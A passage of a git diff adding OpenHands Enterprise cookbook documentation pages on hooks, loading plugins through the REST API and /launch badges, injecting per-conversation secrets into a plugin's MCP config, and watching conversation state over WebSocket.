| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| PreToolUse | Before tool execution | ✅ Yes (exit 2) | [`command-blacklist`](/cookbook/command-blacklist), [`command-whitelist`](/cookbook/command-whitelist), [`workspace-isolation`](/cookbook/workspace-isolation) | +| PostToolUse | After tool execution | ❌ No | Logging, metrics | +| UserPromptSubmit | Before processing user message | ✅ Yes | Content filtering | +| Stop | When agent tries to finish | ✅ Yes | Require artifacts | +| **SessionStart** | **When conversation starts** | ❌ No | **Environment setup (this example)** | +| SessionEnd | When conversation ends | ❌ No | Cleanup | + +## Related + +- [OpenHands Hooks Guide](/openhands/usage/customization/hooks) — repository `.openhands/hooks.json` format +- [Hooks (SDK guide)](/sdk/guides/hooks) — programmatic hooks +- [`load-plugin`](/cookbook/load-plugin) — programmatic plugin loading (and passing per-conversation secrets) +- [`per-conversation-secrets`](/cookbook/per-conversation-secrets) — how secrets reach a conversation +- [`command-blacklist`](/cookbook/command-blacklist) / [`command-whitelist`](/cookbook/command-whitelist) / [`workspace-isolation`](/cookbook/workspace-isolation) — other hook examples diff --git a/cookbook/index.mdx b/cookbook/index.mdx index 7a062399b..905037cd4 100644 --- a/cookbook/index.mdx +++ b/cookbook/index.mdx @@ -10,14 +10,118 @@ OpenHands Enterprise. Each page is generated from an example in [OpenHands/enterprise-cookbook](https://github.com/OpenHands/enterprise-cookbook), where you will find the full source. +## Sandbox lifecycle + +Create, attach to, and tear down sandboxes. + + + + Delete conversations to release their Persistent Volume Claims (PVCs) and free storage resources. + + + + Clone a repository and run its setup script in a sandbox, then attach a conversation to the prepared environment. + + + + Start a sandbox without a conversation and run commands via the agent-server REST API. + + + ## Conversation monitoring & reacting Observe conversations and react to their state. - + + Retrieve cost and token usage metrics for conversations via CLI tool. + + + Attach key-value metadata to a conversation with tags and read it back from AppConversation.tags. + + + Notify an external URL when a conversation finishes using a Stop hook. + + + + React to conversation execution_status changes over WebSocket instead of polling. + + + + Poll the idle_time endpoint to detect when a workspace has gone quiet. + + + + Detect confirmed terminal execution_status over WebSocket with proper event handling. + + + +## Secrets & authentication + +Inject credentials and manage identity. + + + + Configure GPG commit signing on every conversation with a SessionStart hook that imports a key from a custom secret. + + + + Inject per-conversation secrets via REST API as bash env vars and to template an MCP server config bundled in a plugin. + + + + Use one OpenHands account as a service account, overriding the managed GITHUB_TOKEN with each user's PAT per conversation. + + + +## Plugins, skills & MCP + +Extend conversations with plugins, skills, and MCP servers. + + + + Build a no-code /launch link, HTML button, or README badge that loads a plugin. + + + + Start a conversation with a plugin pre-loaded via the REST API. + + + + Validate MCP server configs against a sandbox agent-server via POST /api/mcp/test. + + + + Upload a local agent-skills directory into a sandbox, then start a conversation that uses them. + + + +## Custom agents & tools + +Configure the agent and add custom tools. + + + + Configure agent tools via the agent-server API to exclude the browser tool. + + + + Load a custom tool from a published pip package via pip install --target and tool_module_qualnames. + + + + Add custom server-side tools via source file upload and tool_module_qualnames. + + + + Override the default OpenHands system prompt with a custom one for specialized agents. + + + + Persist an account-level deny-list of skills so every conversation starts with them disabled. + ## Guardrails @@ -25,7 +129,15 @@ Observe conversations and react to their state. Constrain what the agent can do with hooks. - + Block known-dangerous shell commands with a PreToolUse hook bundled in a plugin. Everything not on the blocklist runs normally. + + + Allow only approved shell commands with PreToolUse hooks (whitelist approach for strict security). + + + + Enforce directory boundaries with hooks to prevent agents from navigating or writing outside assigned workspace. + diff --git a/cookbook/launch-plugin-badge.mdx b/cookbook/launch-plugin-badge.mdx new file mode 100644 index 000000000..f8a72d1b1 --- /dev/null +++ b/cookbook/launch-plugin-badge.mdx @@ -0,0 +1,252 @@ +--- +title: Launch Plugin Badge +description: Build a no-code /launch link, HTML button, or README badge that loads a plugin. +icon: rocket +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (launch-plugin-badge/README.md). Edit the source, not this file. */} + + + +This example builds on [`load-plugin`](/cookbook/load-plugin). That one calls the API +with your key to start a conversation with a plugin loaded. Here we make a +**no-code launch link** anyone can click — perfect for an HTML `
+``` + +Markdown badge: + +```markdown +[![Tell a dad joke](https://img.shields.io/badge/Tell%20a%20dad%20joke-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAibGF1bmNoLXBsdWdpbi1iYWRnZS9kYWQtam9rZSIsICJwYXJhbWV0ZXJzIjogeyJhbmltYWwiOiAiZHVjayJ9fV0%3D&message=%2Fdad-joke%3Aabout) +``` + +### 2. Just load the plugin — user prompts after + +Omit `message`. The conversation starts with the plugin's skills loaded but +**no first action**, so the user types their own prompt. The `dad-joke` skill is +keyword-triggered: when the user asks for a joke, it asks for their favorite +animal and then delivers. + +```python +build_launch_url( + plugins=[{ + "source": "github:OpenHands/enterprise-cookbook", + "ref": "main", + "repo_path": "launch-plugin-badge/dad-joke", + }], + # no message -> agent waits for the user +) +``` + +Markdown badge: + +```markdown +[![Open with dad-joke loaded](https://img.shields.io/badge/Open%20with%20dad--joke%20loaded-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAibGF1bmNoLXBsdWdpbi1iYWRnZS9kYWQtam9rZSJ9XQ%3D%3D) +``` + +| | Variant 1 (entry command) | Variant 2 (load only) | +| --------------------- | ------------------------------ | ----------------------------------- | +| `message` query param | `/dad-joke:about` | *(omitted)* | +| On launch | Runs the skill immediately | Waits for the user's prompt | +| Best for | One-click "do the thing" demos | "Open a workspace with X available" | + +## Use the Functions in Your Own Tooling + +`build_launch_url.py` is importable: + +```python +from build_launch_url import build_launch_url, html_button, markdown_badge, plugin_spec + +url = build_launch_url( + [plugin_spec("github:owner/repo", "plugins/my-plugin", parameters={"x": "1"})], + message="/my-plugin:start", +) +print(markdown_badge("Try my plugin", url)) +print(html_button("Try my plugin", url)) +``` + +## Related + + + + the programmatic equivalent (the API call this link ultimately triggers). + + + + official docs for the /launch route. + + + + the plugin directory: a browseable catalog (served at /plugins, with a /api/plugins API) that builds launch links like these from a marketplace source repo. This example is what that directory does, by hand. + + + + what plugins are and the format they follow. + + + + the full marketplace → directory → frontend → app server → SDK journey. + + diff --git a/cookbook/load-plugin.mdx b/cookbook/load-plugin.mdx new file mode 100644 index 000000000..c111c1135 --- /dev/null +++ b/cookbook/load-plugin.mdx @@ -0,0 +1,217 @@ +--- +title: Load Plugin +description: Start a conversation with a plugin pre-loaded via the REST API. +icon: plug +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (load-plugin/README.md). Edit the source, not this file. */} + + + +The smallest useful recipe for starting an OpenHands Cloud conversation that has +a **plugin pre-loaded**, using only the V1 App Server REST API. One field — +`plugins` — does the work. + +This example is **self-contained**: it ships its own plugin in +[`dad-joke/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/load-plugin/dad-joke) and loads it straight from this repo on GitHub. No +external marketplace, no API keys beyond your OpenHands key. + + + A plugin is a small git-hosted bundle of slash commands, skills, hooks, and/or + MCP servers (Claude Code "plugin marketplace" format). `dad-joke` ships one of + each kind we need: a `/dad-joke:about` slash command that tells a dad joke + about an animal, and a keyword-triggered skill that asks for your favorite + animal first. + + +Want a **clickable link / README badge** instead of code? See the companion +example [`launch-plugin-badge`](/cookbook/launch-plugin-badge), which builds on this +one. + +## How It Works + +`POST /api/v1/app-conversations` is **asynchronous**. It returns a *start task*, +not a finished conversation. The script polls +`GET /api/v1/app-conversations/start-tasks?ids=` until the task yields +an `app_conversation_id`, then prints the conversation URL. + +(Omitting `sandbox_id` from the request lets the server provision a fresh +sandbox. To attach to a sandbox you prepared yourself, pass its id — see +[`clone-and-attach`](/cookbook/clone-and-attach).) + +## The One Field That Matters + +```python +requests.post( + f"{base_url}/api/v1/app-conversations", + headers={"Authorization": f"Bearer {api_key}"}, + json={ + "plugins": [ + { + "source": "github:OpenHands/enterprise-cookbook", + "ref": "main", + "repo_path": "load-plugin/dad-joke", + } + ], + "initial_message": { + "role": "user", + "content": [{"type": "text", "text": "/dad-joke:about duck"}], + }, + }, +) +``` + +A plugin spec has three parts: + +| Field | Meaning | Example | +| ----------- | -------------------------------------- | -------------------------------------- | +| `source` | Where the plugin lives | `github:OpenHands/enterprise-cookbook` | +| `ref` | Git ref/branch/tag | `main` | +| `repo_path` | Plugin sub-directory within the source | `load-plugin/dad-joke` | + + + The plugin is fetched from the **`ref`** you name. While iterating on a + branch, pass `--ref your-branch` so the fetch finds your copy; it resolves to + `main` once merged. + + +## Two Ways to Drive It + +The `initial_message` decides what happens once the plugin is loaded: + +1. **Run a skill immediately via an entry command.** Send the plugin's slash + command as the first message. The SDK registers `/dad-joke:about` as a + keyword trigger, so this tells a joke right away: + + ```bash + python load_plugin.py --message "/dad-joke:about duck" + ``` + +2. **Load the plugin, then prompt normally.** Send a natural-language message; + the plugin's skills are available for the agent to use when relevant. The + bundled skill fires on "dad joke", asks for your favorite animal, then + delivers: + + ```bash + python load_plugin.py --message "Tell me a dad joke" + ``` + +## Run It + +```bash +pip install requests +export OH_API_KEY="sk-oh-..." # Cloud API key + +python load_plugin.py # dad-joke + "/dad-joke:about duck" +``` + +### Options + +| Flag | Env var | Default | +| ---------------- | ------------------ | -------------------------------------------- | +| `--api-key` | `OH_API_KEY` | – (required) | +| `--base-url` | `OH_API_BASE` | `https://app.all-hands.dev` | +| `--source` | `PLUGIN_SOURCE` | `github:OpenHands/enterprise-cookbook` | +| `--ref` | `PLUGIN_REF` | `main` | +| `--repo-path` | `PLUGIN_REPO_PATH` | `load-plugin/dad-joke` | +| `--message` | `INITIAL_MESSAGE` | `/dad-joke:about duck` | +| `--secret` | – | *(none)* — repeatable `KEY=VALUE`; see below | +| `--poll-timeout` | `POLL_TIMEOUT` | `240` | + +## Loading a Private Plugin + +The bundled plugin is public, but `source` also accepts a **full Git URL**, and a +`${VAR}` placeholder in the `source` (or `ref`) is expanded against the +conversation's secrets **just before** the repo is cloned — so you can fetch a +private plugin without hard-coding a token. + + + **Version requirement.** Secret expansion in the plugin source landed in + [software-agent-sdk#3758](https://github.com/OpenHands/software-agent-sdk/pull/3758) + and ships in the **agent-server runtime + [`v1.29.0`](https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.29.0)** + (released 2026-06-18). A conversation only gets the fix when its sandbox runs + `agent-server:1.29.0-python` or newer. + + In **OpenHands Enterprise** (tracked by the Replicated `openhands` chart + version), `0.7.65` is the first release to bundle that image — the VM-based + release being cut for it. Not yet on the Stable channel or OpenHands Cloud + (app.all-hands.dev) as of this writing. + + On older builds the `${VAR}` reaches `git clone` literally and a private + source fails at conversation start; a public `source` is unaffected. + + +There are four ways to supply the credential — all reference it **by name** in +the URL, so the raw token never has to appear in the `source`: + +| # | Where the token comes from | How you reference it | +| - | ------------------------------------ | -------------------------------------------------------------------------------------------- | +| 1 | Hard-coded literal token | the raw token in the URL (least desirable) | +| 2 | A user-profile custom secret | `${MY_TOKEN}` | +| 3 | A secret passed to **this** API call | send `secrets: {MY_TOKEN: …}`, reference `${MY_TOKEN}` | +| 4 | An OpenHands-managed provider token | `${GITHUB_TOKEN}`, `${GITLAB_TOKEN}`, `${BITBUCKET_TOKEN}`, `${BITBUCKET_DATA_CENTER_TOKEN}` | + +This script demonstrates **scenario 3** with `--secret` (which adds a `secrets` +field to the request): + +```bash +python load_plugin.py \ + --source 'https://x-access-token:${GIT_TOKEN}@github.com/me/private-plugins.git' \ + --repo-path plugins/my-plugin \ + --message '/my-plugin:start' \ + --secret GIT_TOKEN="$GIT_TOKEN" +``` + +Scenario **4** needs no `--secret` at all: if you've connected GitHub/GitLab/ +Bitbucket to OpenHands, just reference e.g. `${GITHUB_TOKEN}` and the managed +token is injected for you. + +Good to know: + +- **Braced `${VAR}` only** — a literal `$` in a token is never mangled. +- **Secrets only, not host env** — host environment variables are never folded + into the URL (that would be a credential-exfiltration vector). +- **Missing secret → left untouched** — the placeholder stays verbatim, so you + get a clear clone failure rather than a surprising default. +- **Stays redacted** — the persisted plugin spec keeps the `${VAR}` placeholder, + not the secret value. +- **HTTPS, not `ssh://`** — the credential travels inside the URL; SSH + authenticates out-of-band (a key), so there is no placeholder to expand. + +## The Bundled Plugin + +```text +dad-joke/ +├── .claude-plugin/ +│ └── plugin.json # manifest: name, entry_command, parameters +├── commands/ +│ └── about.md # the /dad-joke:about slash command +└── skills/ + └── dad-joke/ + └── SKILL.md # keyword skill: asks your favorite animal first +``` + +## Related + + + + turn this into a no-code launch link, HTML button, or README badge. + + + + the plugin directory: a browseable catalog of plugins (served at /plugins) loaded from a marketplace source repo. + + + + what plugins are and the format they follow. + + + + the full marketplace → frontend → app server → SDK journey. + + + + (SDK v1.29.0) - the secret expansion behind "Loading a private plugin". + + diff --git a/cookbook/per-conversation-secrets.mdx b/cookbook/per-conversation-secrets.mdx new file mode 100644 index 000000000..8f6afb0b4 --- /dev/null +++ b/cookbook/per-conversation-secrets.mdx @@ -0,0 +1,448 @@ +--- +title: Per-Conversation Secrets +description: Inject per-conversation secrets via REST API as bash env vars and to template an MCP server config bundled in a plugin. +icon: user-secret +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (per-conversation-secrets/README.md). Edit the source, not this file. */} + + + +This example demonstrates how to inject per-conversation secrets into an OpenHands +conversation using only REST APIs (no WebSocket required), and — importantly — how +those secrets can be **expanded into a plugin's MCP server configuration** so the +agent can talk to a third-party MCP server with a token that lives only for the +lifetime of one conversation. + +## Why you'd want this + +OpenHands already lets users define secrets at the *user* level (stored in the +vault). That's fine for stable, long-lived credentials. But there are cases where +you want a secret that is: + +- **Scoped to a single conversation** — e.g., a customer's OAuth token, a + temporary CI credential, or a one-off API key the calling system minted for + this run. +- **Used to authenticate an MCP server**, not just exported as a bash variable — + e.g., wire the agent into a customer's Linear / GitHub / internal API by + passing the right `Authorization: Bearer …` header on every MCP call. + +This example shows both, and how they compose. + +## The two patterns shown here + +A single `secrets` field on the conversation-start request powers two related but +distinct patterns. **Read this section before anything else** — most of the +confusion in earlier versions of this README came from blurring them together. + +### Pattern A — Secrets as bash environment variables + +You pass `{"MY_KEY": "value"}` at conversation start (or inject it later via the +agent server's `/secrets` endpoint), and `$MY_KEY` becomes available to every +`bash` command the agent runs. + +- **Demonstrated by:** `test_secrets_at_start.py` (recommended) and + `test_secrets.py` (legacy / mid-conversation injection). +- **Use when:** the agent needs a credential to run a CLI command, hit an HTTP + API via `curl`, or otherwise consume a secret from the shell. + +### Pattern B — Secrets as `${VARIABLE}` placeholders inside a plugin's MCP config + +The same `secrets` field also feeds variable expansion in an OpenHands +**plugin**'s `.mcp.json`. A plugin is a small bundle of files (described below) +that OpenHands fetches from GitHub at conversation start; if its `.mcp.json` +contains `${MCP_SERVER_URL}` or `${MCP_SECRET_TOKEN}`, those placeholders are +filled in from the conversation's secrets *before* the MCP transport is dialed. + +- **Demonstrated by:** `test_mcp_secrets_at_start.py` (recommended) and + `test_mcp_secrets.py` (legacy). +- **Use when:** you want the agent to talk to an MCP server (yours or a + customer's) using a token that isn't in the user's vault — for example, a + per-tenant token chosen by your application for this conversation only. + +The rest of this document walks through Pattern B in detail because it's the +less obvious of the two. Pattern A is just "set an env var" — see the test +scripts for end-to-end examples. + +## What is a plugin (in this example)? + +A plugin is a directory in a git repo with three files. The whole `test-plugin/` +folder in this repo is a working example: + +```text +test-plugin/ +├── .mcp.json # MCP server registration WITH ${...} placeholders +├── .plugin/plugin.json # manifest: name, version, author +└── SKILL.md # human-readable doc the agent reads +``` + +**`test-plugin/.mcp.json`** — note the `${VARIABLE}` placeholders: + +```json +{ + "mcpServers": { + "token-validator": { + "url": "${MCP_SERVER_URL}/mcp", + "transport": "sse", + "headers": { + "Authorization": "Bearer ${MCP_SECRET_TOKEN}" + } + } + } +} +``` + +**`test-plugin/.plugin/plugin.json`** — minimal manifest: + +```json +{ + "name": "secret-token-validator", + "version": "1.0.0", + "description": "Plugin that connects to an MCP server using a per-conversation secret token", + "author": { "name": "OpenHands", "email": "openhands@all-hands.dev" }, + "license": "MIT" +} +``` + +**`test-plugin/SKILL.md`** — short markdown explaining the plugin's tools and +required secrets. The agent reads this so it knows what the plugin exposes. + +You point a conversation at this plugin by adding a `plugins` entry alongside +`secrets` in the start request: + +```python +"plugins": [{ + "source": "github:OpenHands/enterprise-cookbook", + "repo_path": "per-conversation-secrets/test-plugin" +}] +``` + +`source` resolves to a GitHub repo, `repo_path` is the directory within it. +OpenHands fetches the directory, reads `.mcp.json`, and **expands `${...}` +references against the `secrets` you passed in the same request** before +establishing the MCP transport. That expansion step is the whole point of +Pattern B. + +## APIs used + +These tests exercise **two separate OpenHands APIs**: + +### 1. App Server API + +- **Purpose:** Manages sandboxes, conversations, and user resources. +- **Base URL:** `https://app.all-hands.dev/api` (or your deployment). +- **Auth header:** `X-Access-Token: ` +- **OpenAPI spec:** `https://app.all-hands.dev/openapi.json` + +### 2. Agent Server API + +- **Purpose:** Direct agent interaction inside a running sandbox. +- **Base URL:** From the sandbox's `exposed_urls` array (entry with + `name="AGENT_SERVER"`). +- **Auth header:** `X-Session-API-Key: ` (from sandbox creation). +- **OpenAPI spec:** `{agent_server_url}/openapi.json` + +> **Tip:** To explore the Agent Server API, first create a sandbox via the App +> Server, wait for it to reach `RUNNING` status, then fetch +> `{agent_server_url}/openapi.json`. + +## Two ways to deliver the secrets + +Independent of A vs. B above, there are two *timings* for getting secrets into +the conversation: + +### 1. At conversation start (recommended) + +Pass secrets directly in the `POST /v1/app-conversations` request body: + +```python +requests.post( + f'{api_url}/v1/app-conversations', + headers={'X-Access-Token': api_key}, + json={ + 'sandbox_id': sandbox_id, + 'initial_message': {...}, + 'secrets': { + 'GITHUB_TOKEN': 'ghp_...', + 'MCP_SECRET_TOKEN': 'per-conv-secret-xyz-123', + 'MCP_SERVER_URL': 'https://...', + }, + 'plugins': [{ # only needed for Pattern B + 'source': 'github:OpenHands/enterprise-cookbook', + 'repo_path': 'per-conversation-secrets/test-plugin', + }], + }, +) +``` + +**Advantages:** + +- Single request — simpler API. +- Secrets available immediately when the agent starts. +- No race condition — guaranteed to be set before the agent runs. +- Secrets are merged with vault secrets (request secrets take precedence). +- **Required for Pattern B** — `${...}` expansion in a plugin's `.mcp.json` + needs the secrets to be present *before* the MCP transport is opened. + +**Requirements:** + +- OpenHands PR [#14009](https://github.com/OpenHands/OpenHands/pull/14009) +- SDK PR [#2873](https://github.com/OpenHands/software-agent-sdk/pull/2873) + +### 2. After conversation start (original) + +Inject secrets via the Agent Server's `/secrets` endpoint after the conversation +already exists: + +```python +requests.post( + f'{agent_server_url}/api/conversations/{conv_id}/secrets', + headers={'X-Session-API-Key': session_api_key}, + json={'secrets': {'MY_SECRET': 'value'}}, +) +``` + +**Use when:** + +- You need to add secrets mid-conversation. +- You're on an older OpenHands version without the at-start `secrets` field. + +Note: post-hoc injection works for Pattern A (bash env vars) but **does not help +with Pattern B**, because the MCP transport for a plugin is established when the +conversation starts. + +## Quick comparison + +| Feature | At start (new) | After start (original) | +| ------------------------ | ---------------------------- | -------------------------------------- | +| API | App Server | Agent Server | +| Endpoint | `POST /v1/app-conversations` | `POST /api/conversations/{id}/secrets` | +| Auth header | `X-Access-Token: {api_key}` | `X-Session-API-Key: {session_key}` | +| Timing | Before agent runs | After conversation created | +| Simplicity | Single request | Multiple requests | +| Mid-conversation updates | No | Yes | +| Works for Pattern A | Yes | Yes | +| Works for Pattern B | **Yes** | No | + +## Architecture + +```text +┌─────────────────────┐ ┌──────────────────────┐ ┌─────────────────────┐ +│ App Server │ │ Agent Server │ │ MCP Server │ +│ app.all-hands.dev │ │ (per-sandbox URL) │ │ (validates token) │ +├─────────────────────┤ ├──────────────────────┤ ├─────────────────────┤ +│ POST /v1/sandboxes │──▶│ │ │ │ +│ POST /v1/app-conv │ │ │ │ │ +│ • secrets │ │ Plugin loader │ │ │ +│ • plugins ────────┼──▶│ ┌────────────────┐ │ │ │ +│ │ │ │ fetch from GH │ │ │ │ +│ │ │ │ read .mcp.json │ │ │ │ +│ │ │ │ expand ${...} │ │ │ │ +│ │ │ │ ↑ from │ │ │ │ +│ │ │ │ secrets │ │ │ │ +│ │ │ └───────┬────────┘ │ │ │ +│ │ │ │ │ │ │ +│ │ │ ▼ │ │ │ +│ │ │ MCP transport ──────┼──▶│ validate_token() │ +│ │ │ (Authorization: │ │ │ +│ │ │ Bearer ) │ │ │ +│ │ │ │ │ │ +│ │ │ POST /secrets ──── (Pattern A, after-start) │ +│ │ │ POST /events │ │ │ +└─────────────────────┘ └──────────────────────┘ └─────────────────────┘ + │ │ │ + │ X-Access-Token: │ X-Session-API-Key: │ Authorization: + │ {api_key} │ {session_api_key} │ Bearer ${MCP_SECRET_TOKEN} +``` + +## Key findings + +1. **Two different conversation IDs.** The App Server and the Agent Server use + different IDs for the same conversation. You must query the Agent Server to + find the correct ID for its endpoints. +2. **Two authentication schemes.** + - App Server: `X-Access-Token: {api_key}` + - Agent Server: `X-Session-API-Key: {session_api_key}` +3. **Secrets endpoint (Agent Server):** `POST /api/conversations/{id}/secrets` + with body `{"secrets": {"KEY": "value"}}`. Secrets become environment + variables (`$KEY`) for bash commands. +4. **`${...}` expansion only works when secrets are passed at start.** A plugin + loaded via `plugins: [...]` has its `.mcp.json` expanded against the + `secrets` field of the same `POST /v1/app-conversations` request. Post-hoc + injection via the Agent Server's `/secrets` endpoint is too late to influence + MCP transport setup. + +## Files + +| File | Purpose | +| --------------------------------- | ---------------------------------------------------------------------------------------- | +| `test_secrets_at_start.py` | **Pattern A**, at-start: secrets as bash env vars, passed in the start request. | +| `test_secrets.py` | **Pattern A**, after-start: secrets injected via Agent Server `/secrets`. | +| `test_mcp_secrets_at_start.py` | **Pattern B**, at-start: secrets + plugin in one request, MCP config expanded from them. | +| `test_mcp_secrets.py` | **Pattern B**, after-start: legacy variant. Kept for reference. | +| `test-plugin/.mcp.json` | Plugin's MCP server registration with `${MCP_SERVER_URL}` / `${MCP_SECRET_TOKEN}`. | +| `test-plugin/.plugin/plugin.json` | Plugin manifest (name, version, author, license). | +| `test-plugin/SKILL.md` | Human-readable doc the agent reads to understand the plugin. | +| `mcp_server.py` | Stand-alone MCP server that validates the expected `Authorization: Bearer …` token. | + +## Usage + +### Pattern A — secrets at conversation start (recommended) + +```bash +export OH_API_KEY="sk-oh-..." + +# Optional: staging / feature deployment +# export OH_API_URL="https://ohpr-14009-30.staging.all-hands.dev/api" + +# Optional: reuse an existing RUNNING sandbox (avoids cold start) +# export OH_SANDBOX_ID="your-sandbox-id" + +python test_secrets_at_start.py +``` + +Expected output ends with: + +```text +====================================================================== + ✅ SUCCESS! Secrets field was accepted in AppConversationStartRequest! +====================================================================== +``` + +### Pattern A — secrets after conversation start (legacy) + +```bash +export OH_API_KEY="sk-oh-..." +python test_secrets.py +``` + +### Pattern B — secrets + plugin at conversation start (recommended) + +This test verifies that secrets passed at conversation start are available for +MCP config variable expansion inside the plugin's `.mcp.json`. + +```bash +# Terminal 1: start the MCP server +python mcp_server.py --port 12000 --expected-token "per-conv-secret-xyz-123" + +# Terminal 2: run the test +export OH_API_KEY="sk-oh-..." +export OH_API_URL="https://ohpr-14009-30.staging.all-hands.dev/api" # or your deployment +export MCP_SERVER_URL="https://work-1-xxx.prod-runtime.all-hands.dev" # where mcp_server.py is reachable + +python test_mcp_secrets_at_start.py +``` + +Expected output ends with: + +```text +====================================================================== + ✅ SUCCESS! Per-conversation secret was injected and used! +====================================================================== +``` + +What happened end-to-end: + +1. The test started a sandbox and called `POST /v1/app-conversations` with + `secrets={"MCP_SERVER_URL": ..., "MCP_SECRET_TOKEN": "per-conv-secret-xyz-123"}` + *and* `plugins=[{source: github:OpenHands/enterprise-cookbook, repo_path: per-conversation-secrets/test-plugin}]`. +2. OpenHands fetched `test-plugin/` from GitHub, read `.mcp.json`, and + substituted both `${MCP_SERVER_URL}` and `${MCP_SECRET_TOKEN}` from the + secrets above. +3. The agent dialed the resulting URL with header + `Authorization: Bearer per-conv-secret-xyz-123`. +4. `mcp_server.py` compared the token to its `--expected-token`, matched, and + returned a success result that the test then asserts on. + +## API workflow + +```python +# ============================================================ +# APP SERVER API (https://app.all-hands.dev/api) +# Auth: X-Access-Token header +# ============================================================ + +# 1. Create sandbox +POST /v1/sandboxes +Headers: X-Access-Token: {api_key} +→ {id, session_api_key, status: "STARTING", exposed_urls: null} + +# 2. Poll for RUNNING status +GET /v1/sandboxes/search +Headers: X-Access-Token: {api_key} +→ {items: [{id, status: "RUNNING", exposed_urls: [...], session_api_key}]} +# Find AGENT_SERVER in exposed_urls + +# 3. Start conversation WITH secrets (and optionally a plugin) +POST /v1/app-conversations +Headers: X-Access-Token: {api_key} +Body: { + sandbox_id: "...", + initial_message: {...}, + secrets: {...}, + plugins: [{source: "github:...", repo_path: "..."}] # for Pattern B +} + +# ============================================================ +# AGENT SERVER API (from exposed_urls AGENT_SERVER) +# Auth: X-Session-API-Key header +# ============================================================ + +# 4. Find conversation on agent server +GET /api/conversations/search +Headers: X-Session-API-Key: {session_api_key} +→ {items: [{id, status}]} + +# 5. Send message / check events +POST /api/conversations/{id}/events +GET /api/conversations/{id}/events/search +Headers: X-Session-API-Key: {session_api_key} +``` + +## API reference + +### App Server API + +| Endpoint | Method | Description | +| ----------------------- | ------ | ------------------------------------------------------------ | +| `/v1/sandboxes` | POST | Create sandbox → `{id, session_api_key, ...}` | +| `/v1/sandboxes/search` | GET | List sandboxes → `{items: [...]}` | +| `/v1/sandboxes/{id}` | DELETE | Delete sandbox (use `?sandbox_id=` query param) | +| `/v1/app-conversations` | POST | Start conversation (supports `secrets` and `plugins` fields) | + +### Agent Server API + +| Endpoint | Method | Description | +| --------------------------------------- | ------ | --------------------------------------- | +| `/api/conversations/search` | GET | List conversations → `{items: [...]}` | +| `/api/conversations/{id}/secrets` | POST | Inject secrets (Pattern A, after start) | +| `/api/conversations/{id}/events` | POST | Send user message | +| `/api/conversations/{id}/events/search` | GET | List events → `{items: [...]}` | + +### Getting the OpenAPI specs + +```bash +# App Server OpenAPI +curl https://app.all-hands.dev/openapi.json + +# Agent Server OpenAPI (requires a running sandbox) +# 1. Create sandbox and wait for RUNNING status +# 2. Get agent_server_url from exposed_urls (name="AGENT_SERVER") +curl {agent_server_url}/openapi.json +``` + +## Related + + + + Use OpenHands as a service account with per-user PATs + + + + Configure GPG signing with SessionStart hooks + + + + Full API documentation + + diff --git a/cookbook/react-to-state-websocket.mdx b/cookbook/react-to-state-websocket.mdx new file mode 100644 index 000000000..8023b5567 --- /dev/null +++ b/cookbook/react-to-state-websocket.mdx @@ -0,0 +1,279 @@ +--- +title: React to State WebSocket +description: React to conversation execution_status changes over WebSocket instead of polling. +icon: bolt +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (react-to-state-websocket/README.md). Edit the source, not this file. */} + + + +Two short scripts that react to OpenHands conversation state changes **as they +happen**, instead of polling a REST endpoint in a loop. Each starts a sandbox, +gets a conversation running on the sandbox's agent-server, then subscribes to +that conversation's event stream over a WebSocket and prints every +`execution_status` transition (`running` → `finished`/`error`) the moment the +agent-server emits it. + +This is the event-driven counterpart to the polling loops in +[`start-sandbox`](/cookbook/start-sandbox) and [`clone-and-attach`](/cookbook/clone-and-attach), +which repeatedly `GET` the status until it changes. Here nothing polls the +*conversation's execution state* — the script blocks on the socket and is woken +by the server. + +## How It Works + +```mermaid +flowchart TD + A["POST /api/v1/sandboxes
GET …/sandboxes?id=#lt;id#gt; (until RUNNING)"] + subgraph ATT["watch_attach.py"] + A1["POST /api/v1/app-conversations (attach)"] --> A2["GET …/start-tasks?ids=#lt;id#gt; (poll for id)"] + end + subgraph DIR["watch_direct.py"] + D1["POST {agent}/api/conversations (id returned now)"] + end + A --> A1 + A --> D1 + A2 --> W["WS {agent}/sockets/events/#lt;id#gt;?resend_mode=all
# react to states (shared)"] + D1 --> W + W --> X["DELETE /api/v1/sandboxes/#lt;id#gt;?sandbox_id=#lt;id#gt;
# clean up"] +``` + +### Why the WebSocket instead of polling? + +The agent-server emits a `ConversationStateUpdateEvent` with +`key == "execution_status"` on every transition. Subscribing means you learn +about `finished` (or `error`/`stuck`) the instant it happens, with no request +spam and no latency floor set by your poll interval. The socket also carries the +other events (`MessageEvent`, `ActionEvent`, `StreamingDeltaEvent`, …) if you +want to follow the agent's work in real time. + +## Two Ways to Get the Conversation Running + +Both scripts watch state identically over the same WebSocket. They differ only +in **how the conversation is created**, and that choice comes with a genuine +trade-off: + +| Script | Creates the conversation via | LLM credentials | Start-task poll | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | +| [`watch_attach.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/react-to-state-websocket/watch_attach.py) | **Cloud** `POST /api/v1/app-conversations` (attach to sandbox) | **Not needed** — the Cloud layer injects your account's LLM | **Required** — the call is async and returns a *start task*, so you poll `start-tasks` for the conversation id | +| [`watch_direct.py`](https://github.com/OpenHands/enterprise-cookbook/blob/main/react-to-state-websocket/watch_direct.py) | **Agent-server** `POST /api/conversations` | **Required** — a direct conversation inherits no Cloud LLM creds, so you pass `--llm-model` / `--llm-api-key` | **Not needed** — the id is returned synchronously | + +In one sentence: **if you want to avoid passing an LLM key, you accept a brief +start-task poll; if you want to avoid the poll, you accept passing an LLM key.** +Neither poll is on the *conversation's execution state* — that is always +event-driven. `watch_attach.py`'s poll is provisioning latency (waiting for the +sandbox 